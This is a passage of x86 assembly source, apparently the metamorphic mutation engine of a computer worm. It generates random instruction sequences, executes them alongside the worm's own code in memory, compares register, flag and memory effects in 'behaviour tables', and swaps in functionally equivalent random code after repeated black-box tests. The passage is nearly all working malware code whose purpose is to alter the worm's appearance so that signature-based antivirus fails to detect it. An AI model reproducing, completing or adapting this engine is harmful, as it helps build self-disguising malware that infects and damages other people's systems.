rNoEmul, js, PushPop32GotPopAlreadys cc rCDP, inc, cl PushPop32GotPopAlreadys: cc rCDP, mov, byte[CGPushPop], cl cc rDP, add, dl, 0x50 cc rP, mov, byte[RandomCode+ebp], dl cc rP, add, ebp, 0x1 cc rNoEmul, jmp, EndCRCCycle PushPopReg32End: PushImm321: cc rAPF, cmp, al, 10 cc rNoEmul, jne, PushImm321End cc rPF, cmp, ebp, (RandomCodeBufferSize-5) cc rNoEmul, jg, EndCRCCycle cc rDP, mov, dl, 0x68 cc rP, mov, byte[RandomCode+ebp], dl cc rNoEmul, call, GetRandomNumber cc rP, mov, dword[RandomCode+ebp+1], edx cc rP, add, ebp, 0x5 cc rNoEmul, jmp, EndCRCCycle PushImm321End: PushImm322: cc rAPF, cmp, al, 11 cc rNoEmul, jne, PushImm322End cc rPF, cmp, ebp, (RandomCodeBufferSize-2) cc rNoEmul, jg, EndCRCCycle cc rDP, mov, dl, 0x6A cc rP, mov, byte[RandomCode+ebp], dl cc rNoEmul, call, GetRandomNumber cc rP, mov, byte[RandomCode+ebp+1], dl cc rP, add, ebp, 0x2 cc rNoEmul, jmp, EndCRCCycle PushImm322End: IncDec32: cc rAPF, cmp, al, 12 cc rNoEmul, jne, IncDec32End cc rBP, mov, ebx, 0x10 cc rBCP, xor, ecx, ecx cc rNoEmul, call, CreateSpecialRndNumber cc rDP, add, dl, 0x40 cc rP, mov, byte[RandomCode+ebp], dl cc rP, add, ebp, 0x1 cc rNoEmul, jmp, EndCRCCycle IncDec32End: EndCRCCycle: cc rPF, cmp, ebp, RandomCodeBufferSize cc rNoEmul, jb, CreateMoreRandomCode cc rA, mov, eax, 0x90909090 cc rA, mov, dword[RC_Padding], eax cc rNoRes, mov, dword[RC_Padding+4], eax cc rNoEmul, ret ; ##### ; ##### Random Code Generator ; ##### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ##### ; ##### Creator of Behaviour Table of own Code ; ##### CreateRandomRegisters: cc rS, xor, esi, esi CreateRandomRegistersMore: cc rBS, mov, ebx, (DataEnd-DataStart)+1 cc rBCS, xor, ecx, ecx cc rNoEmul, call, CreateSpecialRndNumber cc rDS, mov, dword[rEAX+esi], edx cc rS, add, esi, 4 cc rSF, cmp, esi, 7*4 cc rNoEmul, jb, CreateRandomRegistersMore cc rB, mov, ebx, 8 cc rBC, xor, ecx, ecx cc rNoEmul, call, CreateSpecialRndNumber cc rA, mov, eax, DataStart cc rNoRes, add, dword[rEAX+edx*4], eax cc rA, mov, eax, dword[rEAX+0x00] cc rAB, mov, ebx, dword[rEAX+0x04] cc rABC, mov, ecx, dword[rEAX+0x08] cc rABCD, mov, edx, dword[rEAX+0x0C] cc rABCDP, mov, ebp, dword[rEAX+0x10] cc rABCDPS, mov, esi, dword[rEAX+0x14] cc rABCDPSI, mov, edi, dword[rEAX+0x18] cc rNoEmul, ret PrepareRegistersAndTable: ; In: at dword[tmpAddress] ; Address of BehaviourTable cc rA, mov, eax, dword[tmpAddress] ; initial values are primes between 0x0FFF FFFF - 0xFFFF FFFF ; except ESP, which is not changed cc rAB, mov, ebx, dword[rEAX+0x04] cc rAB, mov, dword[eax+0x04], ebx cc rABC, mov, ecx, dword[rEAX+0x08] cc rABC, mov, dword[eax+0x08], ecx cc rABCD, mov, edx, dword[rEAX+0x0C] cc rABCD, mov, dword[eax+0x0C], edx cc rABCDP, mov, ebp, dword[rEAX+0x10] cc rABCDP, mov, dword[eax+0x10], ebp cc rABCDPS, mov, esi, dword[rEAX+0x14] cc rABCDPS, mov, dword[eax+0x14], esi cc rABCDPSI, mov, edi, dword[rEAX+0x18] cc rABCDPSI, mov, dword[eax+0x18], edi cc rABCDPSI, push, ebx cc rNoEmul, pushfd cc rABCDPSI, pop, ebx cc rABCDPSI, and, bl, 10b ; FLAGS - all zero except the reserved-1 one cc rABCDPSI, push, ebx cc rNoEmul, popfd ; save FLAGS cc rABCDPSI, mov, dword[eax+0x1C], ebx cc rABCDPSI, pop, ebx cc rABCDPSI, mov, dword[eax+0x20], esp cc rABCDPSI, push, ebx cc rABCDPSI, mov, ebx, dword[rEAX+0x00] cc rABCDPSI, mov, dword[eax+0x00], ebx cc rABCDPSI, mov, eax, ebx cc rABCDPSI, pop, ebx cc rNoEmul, ret AnalyseBehaviourOfCode: ; In: at dword[tmpAddress] ; Address of BehaviourTable cc rABCDPSIF, push, ebx cc rABCDPSIF, mov, ebx, eax cc rNoEmul, pushfd cc rABCDPSI, mov, eax, dword[hDataMirror] cc rABCDPSIF, cmp, eax, dword[hDataMirror1] cc rNoEmul, je, AnalyseBehaviourOfCodeGoodDataMirror cc rAC, xor, eax, eax ; This value can not be restored, as otherwise the ; behaviour table gets wrong entries. So just make an ; exception and run next random code. cc rNoRes, mov, byte[eax], cl AnalyseBehaviourOfCodeGoodDataMirror: cc rABCDPSI, mov, eax, dword[hTempAlloc1] cc rABCDPSIF, cmp, eax, dword[hTempAlloc1] cc rNoEmul, je, AnalyseBehaviourOfCodeGoodVirtualAlloc cc rAC, xor, eax, eax ; This value can not be restored, too cc rNoRes, mov, byte[eax], cl AnalyseBehaviourOfCodeGoodVirtualAlloc: cc rABCDPSI, mov, eax, dword[hRandomizedData] cc rABCDPSIF, cmp, eax, dword[hRandomizedData1] cc rNoEmul, je, AnalyseBehaviourOfCodeGoodRandomizedData cc rAC, xor, eax, eax ; This value can not be restored, too cc rNoRes, mov, byte[eax], cl AnalyseBehaviourOfCodeGoodRandomizedData: cc rABCDPSI, mov, eax, dword[tmpAddress] ; The random code could have changed ; the dword[tmpAddress], so to make sure ; that the address is right, we can compare ; with two other places where the same value ; should be. Noisy channel + self-repair :) cc rABCDPSIF, cmp, eax, dword[tmpAddress1] cc rNoEmul, je, AnalyseBehaviourOfCodeGoodAddress cc rABCDPSI, mov, eax, dword[tmpAddress2] AnalyseBehaviourOfCodeGoodAddress: cc rNoEmul, pushad ; Temporary Alloced Memory, because it can't be written ; To .data or hDataMirror as they must stay unchanged for comparing cc rAP, mov, ebp, dword[hTempAlloc1] ; ebp=Temp.VirtualAlloc cc rAP, push, ebp ; Save Temp.VirtualAlloc cc rACP, xor, ecx, ecx Zer0TheTempMemory: cc rACP, mov, dword[ebp+ecx], 0x0 cc rACP, add, ecx, 0x4 cc rACPF, cmp, ecx, 2*4*4 cc rNoEmul, jb, Zer0TheTempMemory cc rACP, xor, ecx, ecx ; Counter cc rACPS, mov, esi, dword[hRandomizedData] cc rACPSI, mov, edi, DataStart CompareMirrorMemAgain: cc rACDPSI, mov, edx, dword[edi+ecx] cc rABCDPSI, mov, ebx, dword[esi+ecx] cc rABCDPSIF,cmp, edx, ebx cc rNoEmul, je, CompareMirrorMemNoDifference ; Found difference! ; Write it to qword[ebp] cc rACDPSI, mov, dword[ebp], ecx ; Relative offset of difference cc rACPSI, mov, dword[ebp+4], edx ; different dword cc rACPSI, add, ebp, 8 ; Point to next entry CompareMirrorMemNoDifference: cc rACPSI, add, ecx, 0x4 cc rACPSIF, cmp, ecx, (DataEnd-DataStart) cc rNoEmul, jb, CompareMirrorMemAgain cc rACPSI, pop, esi ; temp.VirtualAlloc cc rNoEmul, pushad cc rNoEmul, call, RestoreTheMemory cc rNoEmul, popad ; eax=dword[tmpAddress] cc rAS, add, eax, 9*4 ; eax ... pointer to MemoryPart of Behaviour Table cc rSI, mov, edi, eax ; Pointer to BehaviourTable cc rCSI, xor, ecx, ecx AnalyseBehaviourOfCodeWriteMore: cc rACSI, mov, eax, dword[esi] cc rCSI, mov, dword[edi], eax cc rCSI, add, esi, 0x4 cc rCSI, add, edi, 0x4 cc rCSI, add, ecx, 0x4 cc rCSIF, cmp, ecx, 2*4*4 cc rNoEmul, jb, AnalyseBehaviourOfCodeWriteMore ; Temp-Memory to BehaviourTable cc rNoEmul, popad cc rNoEmul, popfd cc rABCDPSIF, push, ecx ; temp. save cc rNoEmul, pushfd cc rABCDPSI, pop, ecx ; ECX=Flags cc rABCDPSI, sub, dword[eax+0x1C], ecx ; save FLAGS-difference cc rABCDPSI, pop, ecx ; restore original ecx cc rABCDPSI, sub, dword[eax+0x00], ebx ; EAX (saved as EBX temporarily) cc rABCDPSI, pop, ebx ; restore original ebx cc rACDPSI, sub, dword[eax+0x04], ebx cc rADPSI, sub, dword[eax+0x08], ecx cc rABSI, sub, dword[eax+0x0C], edx cc rASI, sub, dword[eax+0x10], ebp cc rAI, sub, dword[eax+0x14], esi cc rA, sub, dword[eax+0x18], edi cc rAB, mov, ebx, dword[eax+0x20] ; ebx=old ESP cc rAB, sub, dword[eax+0x20], esp cc rABC, pop, ecx ; ecx=current return-address cc rABCD, xor, edx, edx cc rABC, mov, dword[eax+0x44], edx cc rABCF, cmp, dword[eax+0x20], +4 ; has there been a PUSH? cc rNoEmul, jne, AnalyseBehaviourOfCodeRestoreESP cc rBC, pop, dword[eax+0x44] ; Save the offset at the stack AnalyseBehaviourOfCodeRestoreESP: cc rBC, add, ebx, 4 ; because of the "pop ecx" above cc rNoEmul, mov, esp, ebx cc rC, pop, ebx ; trash 1 cc rC, pop, ebx ; trash 2 cc rC, pop, ebx ; trash 3 cc rC, pop, ebx ; trash 4 cc rC, pop, ebx ; trash 5 cc rC, pop, ebx ; trash 6 cc rC, pop, ebx ; trash 7 cc rC, pop, ebx ; trash 8 cc rC, push, dword[tmpDW8] cc rC, push, dword[tmpDW7] cc rC, push, dword[tmpDW6] cc rC, push, dword[tmpDW5] cc rC, push, dword[tmpDW4] cc rC, push, dword[tmpDW3] cc rC, push, dword[tmpDW2] cc rC, push, dword[tmpDW1] cc rNoRes, push, ecx cc rNoEmul, ret MakeBehaviourTableOfOwnCode: cc rNoRes, push, PAGE_READWRITE cc rNoRes, push, MEM_COMMIT cc rNoRes, push, CommandNumber*BehaviourTableSize cc rNoRes, push, 0x0 cc rNoEmul, stdcall, dword[_VirtualAlloc] ; For the LocalBehaviourTable of all file's commands cc rNoRes, mov, dword[hLBTFileCode], eax cc rC, xor, ecx, ecx ; Counter AnalyseNextCommand: cc rAC, mov, eax, GlobalBehaviourTable cc rAC, add, eax, ecx cc rAC, mov, al, byte[eax] cc rCF, cmp, al, rNoEmul cc rNoEmul, je, MakeBTNoEmul cc rAC, mov, eax, dword[WormCodeStart] cc rAC, push, dword[ecx*8+eax+0x00] cc rAC, pop, dword[BufferForCode+0x00] cc rAC, push, dword[ecx*8+eax+0x04] cc rAC, pop, dword[BufferForCode+0x04] cc rAC, mov, eax, dword[BufferForCode+0x00] cc rABC, mov, ebx, dword[BufferForCode+0x04] cc rNoEmul, pushad cc rABCD, xor, edx, edx cc rABD, mov, eax, ecx cc rABD, mov, ebx, BehaviourTableSize cc rABD, mul, ebx cc rABD, add, eax, dword[hLBTFileCode] cc rAB, mov, dword[tmpAddress], eax cc rAB, mov, dword[tmpAddress1], eax cc rAB, mov, dword[tmpAddress2], eax VEH_TRY FC1 cc rA, xor, eax, eax cc rAB, mov, ebx, FileCodeExection cc rNoEmul, call, GenerateExecuteableCodeInMemory cc rNoEmul, call, dword[hExecutionMirror] VEH_EXCEPTION FC1 VEH_END FC1 cc rNoEmul, popad MakeBTNoEmul: cc rABC, inc, ecx cc rABCF, cmp, ecx, CommandNumber cc rNoEmul, jb, AnalyseNextCommand cc rNoRes, push, tmpMemProtection cc rNoRes, push, PAGE_READONLY cc rNoRes, push, CommandNumber*BehaviourTableSize cc rNoRes, push, dword[hLBTFileCode] cc rNoEmul, stdcall, dword[_VirtualProtect] ; Read only for LBT from now on... cc rNoEmul, ret ; ##### ; ##### Creator of Behaviour Table of own Code ; ##### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ##### ; ##### Compare the Behaviour Tables of the file code ; ##### with the random code ; ##### CompareCodeBTwithRandomBT: cc rNoEmul, call, GetGoodRandomNumber ; its important where the search-procedure starts cc rC, xor, ecx, ecx cc rBC, mov, ebx, CommandNumber-2 cc rNoEmul, call, CreateSpecialRndNumber cc rD, mov, dword[RndNumCycle], edx cc rCD, xor, ecx, ecx ; Command Counter cc rC, add, ecx, edx CompareNextTable: cc rAC, mov, al, byte[GlobalBehaviourTable+ecx] ; Get the GlobalBT (1 byte) for ; the current command cc rACF, cmp, al, rNoEmul cc rNoEmul, je, NotFoundEqualTables cc rCD, xor, edx, edx cc rACD, mov, eax, BehaviourTableSize cc rAC, mul, ecx ; eax=edx:eax * ecx = BehaviourTableSize*ecx cc rCS, mov, esi, eax cc rCS, add, esi, dword[hLBTFileCode] cc rCDS, xor, edx, edx ; Byte Counter in Table CompareNextByte: ; esi = BehaviourTable (file code) -> eax ; edi = TempBehaviourTable (random code) -> ebx cc rCDSF, cmp, edx, 8 cc rNoEmul, jge, CompareNoException cc rACDS, mov, al, byte[GlobalBehaviourTable+ecx] ; Get the GlobalBT (1 byte) for ; the current command cc rACDS, mov, ah, 1 ; ah = 1 cc rACDS, xchg, cl, dl ; change cc rACDS, shl, ah, cl ; cc rACDS, xchg, cl, dl ; Back ; al = GBT ; ah = 1 shl dl cc rACDSF, and, al, ah cc rNoEmul, jz, NoNeedForComparing CompareNoException: cc rACDS, mov, eax, dword[esi+edx*4] ; esi = BehaviourTable (file code) -> eax cc rABCDS, mov, ebx, dword[TempBehaviourTable+edx*4] ; = TempBehaviourTable (random code) -> ebx cc rABCDSF, cmp, eax, ebx cc rNoEmul, jne, NotFoundEqualTables NoNeedForComparing: cc rACDS, inc, edx cc rACDSF, cmp, edx, BehaviourTableSize/4 cc rNoEmul, jb, CompareNextByte cc rACDS, mov, al, byte[CGPushPop] cc rACDSF, cmp, al, 0x0 cc rNoEmul, jns, CompareFoundNoPopProblem cc rACDS, mov, eax, dword[TempBehaviourTable+8*4] ; ESP cc rACDSF, cmp, eax, -4 cc rNoEmul, jne, NotFoundEqualTables ; ESP!=-4 && POP zuerst -> PROBLEM!!! CompareFoundNoPopProblem: cc rACDSI, mov, edi, BufferForCode cc rABCDSI, mov, ebx, dword[WormCodeStart] cc rABCDSI, mov, eax, dword[ecx*8+ebx] cc rABCDSI, mov, dword[edi], eax cc rABCDSI, mov, eax, dword[ecx*8+ebx+4] cc rACDSI, mov, dword[edi+4], eax cc rACDS, mov, al, byte[GlobalBehaviourTable+ecx] cc rACDS, mov, byte[tmpGBT], al cc rNoEmul, call, BlackBoxTesting cc rACDSF, cmp, eax, 0x0 cc rNoEmul, je, SubstituteCommand cc rNoEmul, jmp, NotFoundEqualTables NotFoundEqualTables: cc rACDS, inc, ecx cc rACDSF, cmp, ecx, CommandNumber cc rNoEmul, jne, CreateSpecialRndNumberNotZero cc rACDS, xor, ecx, ecx CreateSpecialRndNumberNotZero: cc rACDS, mov, edx, dword[RndNumCycle] cc rACDSF, cmp, edx, ecx cc rNoEmul, jne, CompareNextTable SubstituteCommandEnd: cc rNoEmul, ret ; ##### ; ##### Compare the Behaviour Tables of the file code ; ##### with the random code ; ##### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ##### ; ##### BlackBox Testing ; ##### Send in different parameters and compare output ; ##### ;BBFoundEqualCode db "FOUND EQUAL CODE!",0x0 ;BBNoEqualCode db "no success",0x0 BlackBoxTesting: cc rNoEmul, pushad cc rC, xor, ecx, ecx cc rC, mov, byte[BBExceptionCount], cl ; If problems occure with the random values of ; Mem8/32 operations, we use the original values of the primary test cc rNoRes, push, ecx ; BB Counter PerformeAnotherBlackBoxTest: cc rNoEmul, call, GetRandomNumber cc rA, mov, eax, CodeExecDifference cc rAB, mov, ebx, FileCodeExection cc rNoEmul, call, GenerateExecuteableCodeInMemory cc rA, mov, eax, BBTableFileCode cc rA, mov, dword[tmpAddress], eax cc rA, mov, dword[tmpAddress1], eax cc rNoRes, mov, dword[tmpAddress2], eax VEH_TRY FC2 cc rA, mov, al, byte[tmpGBT] cc rF, and, al, 10000000b ; FLAGS? cc rNoEmul, jz, BBTestPrePareNoFlags ; If Flags are restricted, use very small numbers sometimes. cc rB, mov, ebx, 3 cc rBC, xor, ecx, ecx cc rNoEmul, call, CreateSpecialRndNumber cc rF, cmp, dl, 0 cc rNoEmul, je, BBTestPrePareNoFlags cc rNoEmul, call, CreateRandomRegisters cc rABCDPSI, mov, dword[BBTableFileCode+0x00], eax cc rABCDPSI, mov, dword[BBTableRandomCode+0x00], eax cc rABCDPSI, mov, dword[BBTableFileCode+0x04], ebx cc rABCDPSI, mov, dword[BBTableRandomCode+0x04], ebx cc rABCDPSI, mov, dword[BBTableFileCode+0x08], ecx cc rABCDPSI, mov, dword[BBTableRandomCode+0x08], ecx cc rABCDPSI, mov, dword[BBTableFileCode+0x0C], edx cc rABCDPSI, mov, dword[BBTableRandomCode+0x0C], edx cc rABCDPSI, mov, dword[BBTableFileCode+0x10], ebp cc rABCDPSI, mov, dword[BBTableRandomCode+0x10], ebp cc rABCDPSI, mov, dword[BBTableFileCode+0x14], esi cc rABCDPSI, mov, dword[BBTableRandomCode+0x14], esi cc rABCDPSI, mov, dword[BBTableFileCode+0x18], edi cc rABCDPSI, mov, dword[BBTableRandomCode+0x18], edi cc rNoEmul, jmp, BBTestOverRandomRegisterCreation BBTestPrePareNoFlags: ; Prepare Registers and BehaviourTables cc rNoEmul, call, GetGoodRandomNumber cc rA, mov, eax, dword[RandomNumber] cc rA, mov, dword[BBTableFileCode+0x00], eax cc rA, mov, dword[BBTableRandomCode+0x00], eax cc rNoEmul, call, GetGoodRandomNumber cc rAB, mov, ebx, dword[RandomNumber] cc rAB, mov, dword[BBTableFileCode+0x04], ebx cc rAB, mov, dword[BBTableRandomCode+0x04], ebx cc rNoEmul, call, GetGoodRandomNumber cc rABC, mov, ecx, dword[RandomNumber] cc rABC, mov, dword[BBTableFileCode+0x08], ecx cc rABC, mov, dword[BBTableRandomCode+0x08], ecx cc rNoEmul, call, GetGoodRandomNumber cc rABCD, mov, edx, dword[RandomNumber] cc rABCD, mov, dword[BBTableFileCode+0x0C], edx cc rABCD, mov, dword[BBTableRandomCode+0x0C], edx cc rNoEmul, call, GetGoodRandomNumber cc rABCDP, mov, ebp, dword[RandomNumber] cc rABCDP, mov, dword[BBTableFileCode+0x10], ebp cc rABCDP, mov, dword[BBTableRandomCode+0x10], ebp cc rNoEmul, call, GetGoodRandomNumber cc rABCDPS, mov, esi, dword[RandomNumber] cc rABCDPS, mov, dword[BBTableFileCode+0x14], esi cc rABCDPS, mov, dword[BBTableRandomCode+0x14], esi cc rNoEmul, call, GetGoodRandomNumber cc rABCDPSI, mov, edi, dword[RandomNumber] cc rABCDPSI, mov, dword[BBTableFileCode+0x18], edi cc rABCDPSI, mov, dword[BBTableRandomCode+0x18], edi BBTestOverRandomRegisterCreation: cc rABCDPSI, mov, dword[BBTableFileCode+0x20], esp cc rABCDPSI, mov, dword[BBTableRandomCode+0x20], esp cc rABCDPSI, sub, dword[BBTableFileCode+0x20], 0x08 ; esp is esp+8 here because of cc rABCDPSI, sub, dword[BBTableRandomCode+0x20], 0x08 ; two less calls. But that makes no difference ; just gives a zero in the LBT if no stack change ; occures, that makes further codes easier cc rNoEmul, pushad ; Save all registers cc rNoEmul, pushfd ; Push Flag-dword to stack cc rA, pop, eax ; eax=FLAGS cc rNoEmul, call, GetGoodRandomNumber ; new random number in dword[RandomNumber] cc rAB, mov, ebx, dword[RandomNumber] ; ebx = new random number cc rAB, and, ebx, 100011000001b ; Just change CF, ZF, SF, OF cc rA, xor, eax, ebx ; FLAGS xor (dword[RandomNumber] && 100011000000) cc rA, push, eax, cc rNoEmul, popfd cc rAF, mov, dword[BBTableFileCode+0x1C], eax cc rF, mov, dword[BBTableRandomCode+0x1C], eax cc rNoEmul, popad cc rNoEmul, call, dword[hExecutionMirror] VEH_EXCEPTION FC2 VEH_END FC2 VEH_TRY RC2 cc rA, mov, eax, CodeExecDifference cc rAB, mov, ebx, RandomCodeExecution cc rNoEmul, call, GenerateExecuteableCodeInMemory cc rA, mov, eax, BBTableRandomCode cc rA, mov, dword[tmpAddress], eax cc rA, mov, dword[tmpAddress1], eax cc rNoRes, mov, dword[tmpAddress2], eax ; Prepare Registers for RandomCode cc rA, mov, eax, dword[BBTableRandomCode+0x00] cc rAB, mov, ebx, dword[BBTableRandomCode+0x04] cc rABC, mov, ecx, dword[BBTableRandomCode+0x08] cc rABCD, mov, edx, dword[BBTableRandomCode+0x0C] cc rABCDP, mov, ebp, dword[BBTableRandomCode+0x10] cc rABCDPS, mov, esi, dword[BBTableRandomCode+0x14] cc rABCDPSI, mov, edi, dword[BBTableRandomCode+0x18] cc rABCDPSI, push, dword[BBTableRandomCode+0x1C] ; Flags cc rNoEmul, popfd ; Save flags cc rNoEmul, call, dword[hExecutionMirror] VEH_EXCEPTION RC2 VEH_END RC2 cc rA, mov, al, byte[bExceptionFC2] cc rAF, cmp, al, byte[bExceptionRC2] cc rNoEmul, jne, BBNotEqual ; If just one failed, the codes were not the same cc rAF, cmp, al, 1 cc rNoEmul, jne, BBBothNoException ; If non of them fail, continue with the standard procedure cc rA, mov, al, byte[BBExceptionCount] ; Both failed -> increase BBExceptionCount, check if Limit if reached cc rA, inc, al cc rA, mov, byte[BBExceptionCount], al cc rAF, cmp, al, 23 cc rNoEmul, jne, BBOnlyExceptionLimitNotReached cc rNoEmul, jmp, BlackBoxTestingWithSimilarParameters ; There have been 23 exception for both commands. So lets use the original ; values from primary test BBOnlyExceptionLimitNotReached: cc rNoEmul, jmp, PerformeAnotherBlackBoxTest BBBothNoException: cc rD, xor, edx, edx ; Byte Counter in Table cc rD, mov, byte[BBExceptionCount], dl BBCompareNextByte: ; esi = BehaviourTable (file code) -> eax ; edi = TempBehaviourTable (random code) -> ebx cc rDF, cmp, edx, 8 cc rNoEmul, jge, BBCompareNoException cc rAD, mov, al, byte[tmpGBT] ; Get the GlobalBT (1 byte) for ; the current command cc rAD, mov, ah, 1 ; ah = 1 cc rAD, xchg, cl, dl ; change cc rAD, shl, ah, cl ; cc rAD, xchg, cl, dl ; Back ; al = GBT ; ah = 1 shl dl cc rADF, and, al, ah cc rNoEmul, jz, BBNoNeedForComparing BBCompareNoException: cc rAD, mov, eax, dword[BBTableFileCode+edx*4] cc rABD, mov, ebx, dword[BBTableRandomCode+edx*4] cc rADF, cmp, eax, ebx cc rNoEmul, jne, BBNotEqual BBNoNeedForComparing: cc rD, inc, edx cc rDF, cmp, edx, (BehaviourTableSize)/4 cc rNoEmul, jb, BBCompareNextByte ; EQUAL!!! cc rC, pop, ecx cc rC, inc, ecx cc rC, push, ecx cc rAC, mov, al, byte[tmpGBT] cc rACF, and, al, 10000000b ; FLAGS? cc rNoEmul, jnz, BBEndCheckWithFlags ; If compare flags, do more BlackBox tests cc rCF, cmp, ecx, 100 cc rNoEmul, js, PerformeAnotherBlackBoxTest BBEndCheckWithFlags: cc rCF, cmp, ecx, 1000 cc rNoEmul, js, PerformeAnotherBlackBoxTest BBFoundEqual: cc rNoRes, pop, eax ; Trash cc rNoEmul, popad cc rA, xor, eax, eax cc rNoEmul, ret BBNotEqual: cc rNoRes, pop, eax ; Trash cc rNoEmul, popad cc rA, mov, eax, -1 cc rNoEmul, ret BlackBoxTestingWithSimilarParameters: cc rA, mov, eax, CodeExecDifference cc rAB, mov, ebx, FileCodeExection cc rNoEmul, call, GenerateExecuteableCodeInMemory cc rA, mov, eax, BBTableFileCode cc rA, mov, dword[tmpAddress], eax cc rA, mov, dword[tmpAddress1], eax cc rNoRes, mov, dword[tmpAddress2], eax VEH_TRY FC2SIM ; Prepare Registers and BehaviourTables ; But this time with similar values as for primary test cc rNoEmul, call, BBSimSpecialRndNum cc rA, add, eax, dword[rEAX] cc rA, mov, dword[BBTableFileCode+0x00], eax cc rNoRes, mov, dword[BBTableRandomCode+0x00], eax cc rNoEmul, call, BBSimSpecialRndNum cc rA, add, eax, dword[rEBX] cc rA, mov, dword[BBTableFileCode+0x04], eax cc rNoRes, mov, dword[BBTableRandomCode+0x04], eax cc rNoEmul, call, BBSimSpecialRndNum cc rA, add, eax, dword[rECX] cc rA, mov, dword[BBTableFileCode+0x08], eax cc rNoRes, mov, dword[BBTableRandomCode+0x08], eax cc rNoEmul, call, BBSimSpecialRndNum cc rA, add, eax, dword[rEDX] cc rA, mov, dword[BBTableFileCode+0x0C], eax cc rNoRes, mov, dword[BBTableRandomCode+0x0C], eax cc rNoEmul, call, BBSimSpecialRndNum cc rA, add, eax, dword[rEBP] cc rA, mov, dword[BBTableFileCode+0x10], eax cc rNoRes, mov, dword[BBTableRandomCode+0x10], eax cc rNoEmul, call, BBSimSpecialRndNum cc rA, add, eax, dword[rESI] cc rA, mov, dword[BBTableFileCode+0x14], eax cc rNoRes, mov, dword[BBTableRandomCode+0x14], eax cc rNoEmul, call, BBSimSpecialRndNum cc rA, add, eax, dword[rEDI] cc rA, mov, dword[BBTableFileCode+0x18], eax cc rNoRes, mov, dword[BBTableRandomCode+0x18], eax cc rA, mov, eax, dword[BBTableRandomCode+0x00] cc rAB, mov, ebx, dword[BBTableRandomCode+0x04] cc rABC, mov, ecx, dword[BBTableRandomCode+0x08] cc rABCD, mov, edx, dword[BBTableRandomCode+0x0C] cc rABCDP, mov, ebp, dword[BBTableRandomCode+0x10] cc rABCDPS, mov, esi, dword[BBTableRandomCode+0x14] cc rABCDPSI, mov, edi, dword[BBTableRandomCode+0x18] cc rABCDPSI, mov, dword[BBTableFileCode+0x20], esp cc rABCDPSI, mov, dword[BBTableRandomCode+0x20], esp cc rABCDPSI, sub, dword[BBTableFileCode+0x20], 0x08 ; esp is esp+8 here because of cc rABCDPSI, sub, dword[BBTableRandomCode+0x20], 0x08 ; two less calls. But that makes no difference ; just gives a zero in the LBT if no stack change ; occures, that makes further codes easier cc rNoEmul, pushad ; Save all registers cc rNoEmul, pushfd ; Push Flag-dword to stack cc rA, pop, eax ; eax=FLAGS cc rNoEmul, call, GetGoodRandomNumber ; new random number in dword[RandomNumber] cc rAB, mov, ebx, dword[RandomNumber] ; ebx = new random number cc rAB, and, ebx, 100011000001b ; Just change CF, ZF, SF, OF cc rA, xor, eax, ebx ; FLAGS xor (dword[RandomNumber] && 100011000001) cc rA, push, eax cc rNoEmul, popfd cc rAF, mov, dword[BBTableFileCode+0x1C], eax cc rF, mov, dword[BBTableRandomCode+0x1C], eax cc rNoEmul, popad cc rNoEmul, call, dword[hExecutionMirror] VEH_EXCEPTION FC2SIM VEH_END FC2SIM VEH_TRY RC2SIM cc rA, mov, eax, CodeExecDifference cc rAB, mov, ebx, RandomCodeExecution cc rNoEmul, call, GenerateExecuteableCodeInMemory cc rA, mov, eax, BBTableRandomCode cc rA, mov, dword[tmpAddress], eax cc rA, mov, dword[tmpAddress1], eax cc rA, mov, dword[tmpAddress2], eax ; Prepare Registers for RandomCode cc rA, mov, eax, dword[BBTableRandomCode+0x00] cc rAB, mov, ebx, dword[BBTableRandomCode+0x04] cc rABC, mov, ecx, dword[BBTableRandomCode+0x08] cc rABCD, mov, edx, dword[BBTableRandomCode+0x0C] cc rABCDP, mov, ebp, dword[BBTableRandomCode+0x10] cc rABCDPS, mov, esi, dword[BBTableRandomCode+0x14] cc rABCDPSI, mov, edi, dword[BBTableRandomCode+0x18] cc rABCDPSI, push, dword[BBTableRandomCode+0x1C] ; Flags cc rNoEmul, popfd, ; Save flags ; mov, esp, dword[eax+0x20] ; should be the same ; cc rNoEmul, call, RandomCodeExecution2 cc rNoEmul, call, dword[hExecutionMirror] VEH_EXCEPTION RC2SIM VEH_END RC2SIM cc rA, mov, al, byte[bExceptionFC2SIM] cc rAF, cmp, al, byte[bExceptionRC2SIM] cc rNoEmul, jne, BBNotEqual ; If just one failed, the codes were not the same cc rAF, cmp, al, 1 cc rNoEmul, jne, BBSimBothNoException ; If non of them fail, continue with the standard procedure cc rA, mov, al, byte[BBExceptionCount] ; Both failed -> increase BBExceptionCount, check if Limit if reached cc rA, inc, al cc rA, mov, byte[BBExceptionCount], al cc rAF, cmp, al, 23 cc rNoEmul, je, BBNotEqual cc rNoEmul, jmp, PerformeAnotherBlackBoxTest BBSimBothNoException: cc rD, xor, edx, edx ; Byte Counter in Table cc rNoRes, mov, byte[BBExceptionCount], dl BBSimCompareNextByte: ; esi = BehaviourTable (file code) -> eax ; edi = TempBehaviourTable (random code) -> ebx cc rDF, cmp, edx, 8 cc rNoEmul, jge, BBSimCompareNoException cc rAD, mov, al, byte[tmpGBT] ; Get the GlobalBT (1 byte) for ; the current command cc rAD, mov, ah, 1 ; ah = 1 cc rACD, xchg, cl, dl ; change cc rACD, shl, ah, cl ; cc rACD, xchg, cl, dl ; Back ; al = GBT ; ah = 1 shl dl cc rADF, and, al, ah cc rNoEmul, jz BBSimNoNeedForComparing BBSimCompareNoException: cc rAD, mov, eax, dword[BBTableFileCode+edx*4] cc rABD, mov, ebx, dword[BBTableRandomCode+edx*4] cc rABDF, cmp, eax, ebx cc rNoEmul, jne, BBNotEqual BBSimNoNeedForComparing: cc rAD, inc, edx cc rADF, cmp, edx, (BehaviourTableSize)/4 cc rNoEmul, jb, BBSimCompareNextByte ; EQUAL!!! cc rC, pop, ecx cc rC, inc, ecx cc rC, push, ecx cc rAC, mov, al, byte[tmpGBT] cc rACF, and, al, 10000000b ; FLAGS? cc rNoEmul, jnz BBSimEndCheckWithFlags ; If compare flags, do more BlackBox tests cc rCF, cmp, ecx, 100 cc rNoEmul, js, BlackBoxTestingWithSimilarParameters ; Uuuhh yeah! :D ; Found some nice memory equivalent! cc rNoEmul, jmp, BBFoundEqual BBSimEndCheckWithFlags: cc rCF, cmp, ecx, 1000 cc rNoEmul, js, BlackBoxTestingWithSimilarParameters ; Uuuhh yeah! :D ; Found some nice memory equivalent! cc rNoEmul, jmp, BBFoundEqual ; ##### ; ##### BlackBox Testing ; ##### Send in different 